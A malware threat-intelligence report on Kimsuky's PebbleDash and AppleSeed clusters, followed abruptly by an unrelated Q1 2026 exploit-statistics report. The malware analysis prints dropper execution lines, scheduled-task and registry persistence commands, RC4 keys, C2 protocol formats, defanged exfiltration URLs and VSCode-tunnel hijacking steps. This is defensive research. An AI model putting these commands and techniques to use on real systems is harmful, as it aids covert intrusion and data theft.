Executive summary
Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the groupβs toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.
Background
First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The groupβs arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).
The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsukyβs toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.
Timeline of the AppleSeed and PebbleDash malware families
AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entityβs website.
Initial access
Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.
Appendix Form No. 8 β Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse
On-site Inspection Evidence for the Public Service Management System (Draft).pif
February 5, 2026
8983ffa6da23e0b99ccc58c17b9788c7
Pidoc Dropper, HappyDoor
JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].
Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.
In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.
Deployed malware
In this section, we describe several malware families recently dropped by the droppers discussed above.
HelloDoor: first Rust-based PebbleDash variant
Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.
HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].
The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string βwindowsβ, then computes a hash value from this information.
The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:
Command
Description
βmcdβ
Set the current directory
βmsleepβ
Sleep for the provided time
βinstallβ
Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]
Execute the provided command using chcp 65001 > nul & cmd /U /C [command]
Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.
β Port is now listening (no accepting)
β Port is already in use
π regsvr32.exe detected as parent. Attempting to terminate...
This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoorβs simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.
Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:
result send fail (grammatically incorrect text)
server request fail (grammatically incorrect text)
It is likely that the flawed comments were added manually before or after AI was used.
httpMalice: latest backdoor variant of PebbleDash
The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:
(PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level β a feature also observed in PebbleDash and httpTroy.
(PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
(PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
(PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
(AppleSeed cluster) Use of the m= parameter in C2 communication.
(AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.
Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.
The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root driveβs volume serial number with the userβs access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].
Value of elevation status
Description
0
Running under the SYSTEM account with an elevated token
1
Running under an elevated administrator account
2
Running without elevation
Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c βrundll32.exe [current DLL path], loadβ. The serviceβs display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.
The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).
Windows commands used to gather system details
httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:
Value
Description
1
Send the session identifier (parameter s) along with the current state (parameter a)
2
Request command
3
Send result after executing the command (parameter d)
8
Request directory to be archived and sent
9
Send the archived directory
10
Send a message like β.cmdβ or β.tmpβ (parameter d)
11
Send ping
12
Send the captured screenshot (parameter d)
13
Send the infected device information (parameter d)
As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].
The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.
Structure of the ChaCha20-encrypted data blob
After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an β@β symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:
Value
Description
0
httpMalice has been activated
1
httpMalice has been inactivated (upon command 9)
2
httpMalice has been removed (upon command 8)
The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a βsuccess!β message.
C2 communication sequence of httpMalice
When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string β.cmdβ in the d parameter.
The commands supported by httpMalice are as follows:
Command
Description
0
Do nothing
1
Execute the command with EUC-KR encoding
2
Download and extract the file to the infected device
3
Upload a directory to the C2 server after it has been archived
5
Get the current directory
6
Set the current directory
7
Execute the command without setting a EUC-KR character set
8
Remove its persistence traces and exit the process
9
Hibernate
10
Execute the command using the provided session ID
12
Capture the screen
13
Load the downloaded payload into memory
MemLoad downloads httpTroy
Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).
Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.
Below are the key operations of MemLoad:
Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and β.dat.cfgβ extension at the current file path.
Generates an ID. Generates an ID value by adding either βA-β or βU-β to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with βA-β (indicating administrative privileges); otherwise, it starts with βU-β.
Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/rl highest/f is executed. Otherwise, the task is named EdgeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/f is executed.
C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.
The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].
Since Gen Digital covers httpTroyβs features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.
AppleSeed
AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.
Updated AppleSeed infection chain
There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory β functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.
HappyDoor
HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.
Post-exploitation
We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.
VSCode (launched by the JSE dropper)
Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victimβs device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name βbizeugeneβ, using the command below.
The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.
The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.
Out.txt content
The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.
VSCode (launched by VSCode installer)
While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.
After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.
This is how the installer works:
Executes code.exe tunnel.
Searches for the βMicrosoft Accountβ string in the stdout.
Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
Searches for the βuse codeβ string in the stdout.
Sends the printed code for authentication, prepended with the βhxxps://github[.]com/login/deviceβ => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
Searches for the βWhat would you like to call this machine?β string in the stdout.
Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
Searches for the βhttps://vscode.dev/tunnel/β string in the stdout.
Sends the printed URL for tunneling to the Slack WebHook.
The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attackerβs side. (The βMicrosoft Accountβ string in the second step is not shown in this figure because the second βGitHub Accountβ was already selected during the process.)
Creating a tunnel using VSCode CLI
Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.
An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.
DWAgent
DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.
We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.
This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:
The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.
The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.
The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.
Victims
We identified multiple infection logs uploaded to the Dropbox storage used for httpMaliceβs C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victimβs folder contained a user.txt file with detailed information such as target details, the presence of something named βhttpβ (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.
Below you can see an example of this type of file content. In this context, βμ₯μ β means βtake overβ and βμμβ means βexistsβ.
While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.
Attribution
Over the past few years, we have observed two clusters using overlapping distribution methods β JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.
Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.
These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation β another name for Kimsuky.
Conclusion
Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actorβs changing tactics.
Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.
Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the userβs knowledge. Malicious commands are executed on the victimβs system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 β Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 β Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
Most common published exploits
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
RegPwn (CVE-2026-21533): a system settings access control vulnerability
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
CVE-2026-21514: a Microsoft Office vulnerability
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
Clawdbot (CVE-2026-25253): an OpenClaw vulnerability
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
CVE-2026-34070: LangChain framework vulnerability
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812: an OpenCode vulnerability
CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
Conclusion and advice
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.
